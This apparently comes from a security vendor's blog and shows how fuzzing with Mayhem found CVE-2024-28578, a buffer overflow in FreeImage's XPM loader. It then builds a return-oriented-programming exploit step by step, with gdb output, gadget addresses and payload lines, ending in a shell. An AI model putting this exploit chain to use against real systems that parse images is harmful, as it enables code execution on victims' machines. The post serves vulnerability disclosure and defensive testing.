CVE-2024-28578: Test Third-Party Image Libraries With Mayhem
The image above is actually a full exploit for freeimage! Should you be worried about viewing it in your browser? No, your browser is probably safe rendering this image since we have sanitized it for obvious reasons.
What is CVE-2024-28578?
CVE-2024-28578 is a buffer overflow vulnerability in open source FreeImage v.3.19.0 [r1909], enabling a local attacker to execute arbitrary code by exploiting the Load() function when reading images in the XPM format.
Vulnerabilities in FreeImage and Other Third-Party Libraries
Freeimage is a popular image manipulation library used by multiple vendors because of its very open public license. It provides developers with tools to load, save, convert, and manipulate images, making it a popular choice for applications requiring comprehensive image processing capabilities.
Building image manipulation utilities is hard, but thankfully libraries like freeimage exist out there with a permissive license, allowing organizations to use them in their applications. However, using third party utilities like freeimage is risky without implementing automatic security testing to identify and mitigate any potential exploits like CVE-2024-28578.
In this blog post, we’ll show you how to easily check that such a library is safe before incorporating it in your SDLC by using Mayhem.
We forked the library's GitHub mirror in a separate repo to try it out.
1. First things first: Let's Dockerize
First, we need to dockerize the application so that Mayhem can run it. We want to make sure we have a reproducible build and environment for our testing; one that's identical to what we would use in production. For our use-case, we opted for using Debian stable and after a couple of iterations put a quick Dockerfile together:
FROM debian:stable as builder
RUN apt update && apt install -fy build-essential g++-multilib
COPY . /freeimage
WORKDIR /freeimage
RUN make -j 4
RUN make -C Examples/Linux
FROM debian:stable as target
COPY --from=builder /freeimage/Examples/Linux/target-xpm /freeimage
CMD ["/freeimage", "@@"]
The Dockerfile is pretty self-explanatory: we install deps, build the library and then plant it in a fresh Debian. We do this to ensure the test target image remains small and we do not include unnecessary build dependencies.
Choosing a Target
Our library here is an image manipulation library that has support for tons of image formats. We could do security testing on all of them, or focus on a specific one. In this post, we'll investigate the latter which is common for realistic use cases: typically our application will be using a library like freeimage to parse only a very particular image format (or a small set) out of all the supported ones within freeimage
.
We can ensure our security testing is targeted and focused only on our attack surface—something that is easily missed by typical SBOM tooling. For our example, we'll use the XPM file format and assume we're just loading XPM images in our application (no further manipulation). Building a small driver (aka fuzzing harness) takes just a couple lines of code:
#include <FreeImage.h>
int main(int argc, char *argv[])
{
if (argc != 2) return 1;
FIBITMAP *image;
image = FreeImage_Load(FIF_XPM, argv[1], 0);
if (image)
FreeImage_Unload(image);
return 0;
}
This small driver program exercises the XPM image loading and unloading within the freeimage library, following the running convention: ./target-xpm file.xpm
where the input XPM file is provided as the first command line argument. Building and pushing:
$ docker build -t ethan42/image:3 .
...
$ docker push ethan42/image:3
We're now ready! Let's start testing it!
2. Write up a Mayhemfile and Run
Next, let's quickly write up a Mayhemfile (using mayhem init
or manually given how simple this target is) to allow you to run Mayhem:
project: ethan/freeimage
target: freeimage-xpm
image: ethan42/freeimage:3
cmds:
- cmd: /freeimage @@
Given this is a known file format, we can also seed it with a sample XPM test case - a quick online search gives us a very nice teapot example. Before placing it in our testsuite we also shrank it a bit using convert
to ensure we improve our testing performance—keeping test cases small is the number #1 performance tip for most analysis engines:
$ convert ~/Downloads/teapot.xpm -resize 5% teapot.xpm
$ cat teapot.xpm
/* XPM */
static char *teapot[] = {
"2 1 2 1 ",
" c #F098D447E294",
". c #FB28E7D8F371",
" ."
};
It looks pretty small and here if we really wanted to test XPM functionality we'd build an entire testsuite to cover a more diverse set of behaviors. However, here we're just "kicking the tires" of the library, so let’s see how it'll do with zero configuration:
$ mayhem run .
...
Run started: freeimage/freeimage-xpm/1
Run URL: https://app.mayhem.security:443/ethan42/freeimage/freeimage-xpm/1
freeimage/freeimage-xpm/1
At this point, we'll let Mayhem "brew" for a bit while we go get some lunch.
3. Analyze Results
Coming back to our results, we see numerous defects and the one with the top-severity looks interesting:
0x20202020
is always an interesting address to have a crash at! Looking at the Mayhem-reported register state we see:
eax 0x0
ebx 0x20202020
ecx 0x88a2890
edx 0x6
esi 0x20202020
edi 0x20202020
ebp 0x20202020
esp 0xffffdb50
eip 0x20202020
It appears that eip
indeed happens to have a value of 0x20202020
- is this a coincidence? Let's fetch our test cases and try tweaking some of the space characters (0x20
is the space character in ASCII):
$ mayhem sync .
Target synced at: '.'.
$ cp testsuite/81d7aa79a30bc25e67ee362bb6182b84f4fa81a1dc1fe859015df5584f9d3902 poc0.xpm
$ wc -c poc0.xpm
1574 poc0.xpm
$ fold -w1 poc0.xpm | uniq -c | sort -n | tail
2 2
2 4
2 4
2 4
13 �
13 �
17
27
543
802
We see the majority of the file consists of the space character anyway, let's try patternizing the input and see if we get lucky and manage to figure out which part of the payload controls the IP - if any.
$ python3 pattern.py 500
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq
$ python3 pattern.py 500 > pattern
$ perl -e 'print " "x500' > spaces
$ sed "s, `cat spaces`, `cat pattern`,g" poc0.xpm > poc1.xpm
Let's fire gdb and run it again:
gdb --args /freeimage /poc1.xpm
...
(gdb) r
Program received signal SIGSEGV, Segmentation fault.
0x37694136 in ?? ()
(gdb) x/16x $esp
0xfff32190: 0x41386941 0x6a413969 0x316a4130 0x41326a41
0xfff321a0: 0x6a41336a 0x356a4134 0x41366a41 0x6a41376a
0xfff321b0: 0x396a4138 0x41306b41 0x6b41316b 0x336b4132
0xfff321c0: 0x41346b41 0x6b41356b 0x376b4136 0x41386b41
(gdb) p/c 0x36
$1 = 54 '6'
(gdb) p/c 0x41
$2 = 65 'A'
(gdb) p/c 0x69
$3 = 105 'i'
(gdb) p/c 0x37
$4 = 55 '7'
(gdb) i r
eax 0x0 0
ecx 0xa76d890 175560848
edx 0x6 6
ebx 0x69413169 1765880169
esp 0xfff32190 0xfff32190
ebp 0x69413569 0x69413569
esi 0x33694132 862535986
edi 0x41346941 1093953857
eip 0x37694136 0x37694136
eflags 0x10246 [ PF ZF IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb) quit
Well, that definitely looks like ASCII and the sequence that overwrote the IP and the rest up the stack are all part of our pattern (note "6Ai7" occurs only once in the original pattern we applied).
Is CVE-2024-28578 Exploitable?
We’ve found a vulnerability in freeimage, but how concerned should we be about it? Let’s explore if we can craft an exploit.
Putting everything together: crafting a ROP payload
The input (poc1.xpm
) demonstrates clear control of IP which is typically enough to say this vulnerability is exploitable. But are we sure? Only one way to find out! Let's checkout what defenses are on and what kind of payload would be needed:
$ mayhem check freeimage
Key Value
--------- ----------------------------------------------
File /freeimage
Type ELF/x86
Version 1.2.11
PIE ✖
DEP ✔
Canary ✖
Fortify ✖
Static ✔
Fuzz ✔
LibFuzzer ✖
HonggFuzz ✖
SymbExec ✔
AFL ✖
ASAN ✖
MSAN ✖
UBSAN ✖
LSAN ✖
Rust ✖
Golang ✖
We see that DEP is on, but no PIE is enabled, which means we should give a shot at a Return-Oriented Programming (ROP) exploit.
There are plenty of tools nowadays to make this simpler, but we'll do it the old-fashioned way - let's use JonathanSalwan's excellent ROPgadget tool and see if we can find any gadgets in this binary:
$ ROPgadget --binary=freeimage
...
0x0824b833 : xor esp, 0x83000001 ; ret 0x8901
0x08425a51 : xor esp, 0xffffff87 ; in eax, dx ; call dword ptr [eax - 0x73]
0x084306be : xor esp, 0xffffff8f ; in eax, dx ; call dword ptr [eax - 0x75]
0x08431428 : xor esp, 0xffffff9d ; in eax, dx ; call dword ptr [eax - 0x73]
0x08466f41 : xor esp, 0xffffffbb ; in eax, dx ; call dword ptr [eax - 0x73]
0x0847fe1a : xor esp, 0xffffffc4 ; out dx, al ; call dword ptr [eax + 0x68]
0x0836b5d7 : xor esp, 2 ; add byte ptr [eax], al ; movzx eax, byte ptr [eax] ; jmp 0x836b12d
0x083a2817 : xor esp, 2 ; add byte ptr [eax], al ; xor eax, eax ; jmp 0x83a2485
0x081c236d : xor esp, dword ptr [0x10c48300] ; jmp 0x81c1bb8
0x08111079 : xor esp, dword ptr [edx] ; add byte ptr [eax], al ; add esp, 0x10 ; jmp 0x810ec81
0x08183ca7 : xor esp, dword ptr [esi - 0x3f] ; ret 0xf08
0x0820799e : xor esp, dword ptr [esi - 0x77] ; jl 0x82079c7 ; and ch, cl ; ret
0x0838d78a : xor esp, edi ; in al, dx ; call dword ptr [eax - 0x18]
0x08359cbc : xor esp, edx ; in al, dx ; call dword ptr [eax - 0x18]
Unique gadgets found: 282629
Well, that's a lot of gadgets! Let's just use a couple to setup execve arguments and demonstrate running an executable. From a quick scan, we have:
- Multiple syscall gadgets:
0x0807947f : int 0x80
2. And also multiple register loading gadgets:
0x08057574 : pop eax ; ret
0x0804901e : pop ebx ; ret
0x082607b3 : pop ecx ; ret
0x083dc626 : pop edx ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
We should be able to invoke the execve
syscall without too much of an issue. After a couple of attempts though, we realize that our overflow only happens if NULL bytes are avoided and loading 0xb
into eax
with pop eax; ret
doesn't quite work. However, can we do this with different, semantically equivalent gadgets that use no NULL bytes? Can we load the value 0xb
into eax
without NULL bytes?
Controlling eax
The answer is obviously yes! One way to do this is by finding the value 0x000000b0
in memory and using it to initialize eax
with a memory load gadget:
0x0806b45c : mov eax, dword ptr [eax] ; ret
and the value 0xb is indeed present in:
x/x 0x812ecdc
0x812ecdc: 0x0b
After applying our payload:
payload += struct.pack("<I", 0x08057574) ; pop eax; ret
payload += struct.pack("<I", 0x812ecdc) ; eax = 0x812ecdc
payload += struct.pack("<I", 0x0806b45c) ; mov eax, [eax] // eax = 0xb
payload += struct.pack("<I", 0x0807947f) ; int 0x80
a quick strace shows:
# strace -e execve /freeimage /poc1.xpm
execve("/freeimage", ["/freeimage", "/poc1.xpm"], 0x7fff737ed3e8 /* 7 vars */) = 0
...
execve(0x69413169, [0x10001, 0x1, 0x1, 0x10001], 0x6) = -1 EFAULT (Bad address)
We can run execve! The system call arguments aren't quite lined up, but let's fix that next.
Fixing up execve arguments
First, we observe that ebx
is 0x69413169
which is yet another part of the payload and is a pointer to the string of the executable we are trying to run! Let's find a string in memory and use that, e.g., "sh":
(gdb) info proc mapping
process 3721
Mapped address spaces:
Start Addr End Addr Size Offset Perms objfile
0x8048000 0x8049000 0x1000 0x0 r--p /freeimage
0x8049000 0x849c000 0x453000 0x1000 r-xp /freeimage
0x849c000 0x873a000 0x29e000 0x454000 r--p /freeimage
0x873a000 0x8752000 0x18000 0x6f1000 r--p /freeimage
0x8752000 0x889b000 0x149000 0x709000 rw-p /freeimage
0x889b000 0x88a2000 0x7000 0x0 rw-p
0xa838000 0xa878000 0x40000 0x0 rw-p [heap]
0xf7f9e000 0xf7fa2000 0x4000 0x0 r--p [vvar]
0xf7fa2000 0xf7fa4000 0x2000 0x0 r-xp [vdso]
0xffbb6000 0xffbd7000 0x21000 0x0 rw-p [stack]
(gdb) find 0x8048000,+9999999,"sh"
0x80cac4c
Adding it to our payload:
payload += struct.pack("<I", 0x80cac4c) ; ebx = "sh"
Next, let's zero-out the other two arguments (luckily execve works fine with NULL arguments) using some xor gadgets:
0x081272b4 : xor ecx, ecx ; mov eax, ecx ; ret
0x0807c552 : xor edx, edx ; ret
One more addition to our payload:
payload += struct.pack("<I", 0x081272b4) ; ecx = 0
payload += struct.pack("<I", 0x0807c552) ; edx = 0
And now we're ready to try it out!
# strace -e execve /freeimage /poc2.xpm
execve("/freeimage", ["/freeimage", "/poc2.xpm"], 0x7ffde8a950d8 /* 7 vars */) = 0
[ Process PID=3764 runs in 32 bit mode. ]
execve("sh", NULL, NULL) = -1 ENOENT (No such file or directory)
# ln -s /bin/sh sh
# /freeimage /poc2.xpm
# whoami
root
We get a shell! Nothing too difficult overall! You can find the full payload in exploit.py.
All code and configuration files are also available on Github.
Conclusion: Is CVE-2024-28578 Exploitable?
CVE-2024-28578 is an exploitable vulnerability that allows images from the library to be turned into weaponized exploits. This vulnerability allows attackers to bypass modern OS defenses like DEP and ASLR using very basic techniques—all of these triggered when a user or program attempts to open one of these pictures.
Let's avoid using freeimage's XPM implementation until this issue is resolved! If you are using this library, connect with your development team to make sure you switch to a more secure version or different library.
How to Secure Third-Party Libraries
It’s important to have security testing in place before introducing any third party software in your application stack. Even a seemingly harmless action like attempting to open an image may expose an exploitable vulnerability that compromises your entire application.
Untested vulnerabilities in widely-used image libraries like FreeImage could be exploited by attackers, potentially compromising the security and functionality of OT systems, leading to unauthorized access, data breaches, system takeovers, and operational disruptions.
Security testing with Mayhem in the SDLC ensures issues like that are caught early and significantly reduces software maintenance cost as well as the security risk of working with third-party code.
Mayhem Security Testing
As shown with CVE-2024-28578, Mayhem automates extensive security testing, running thousands of tests per minute to uncover hidden vulnerabilities.
Mayhem filters out false positives, presenting only actionable, reproducible results. Seamlessly integrating into your build pipeline, Mayhem continuously monitors and tests your code, ensuring robust security.
Incorporate Mayhem into your DevSecOps workflow to proactively defend against potential exploits and maintain secure applications.
To see what Mayhem can do for your organization, schedule a demo with our team today.
Add Mayhem to Your DevSecOps for Free.
Get a full-featured 30 day free trial.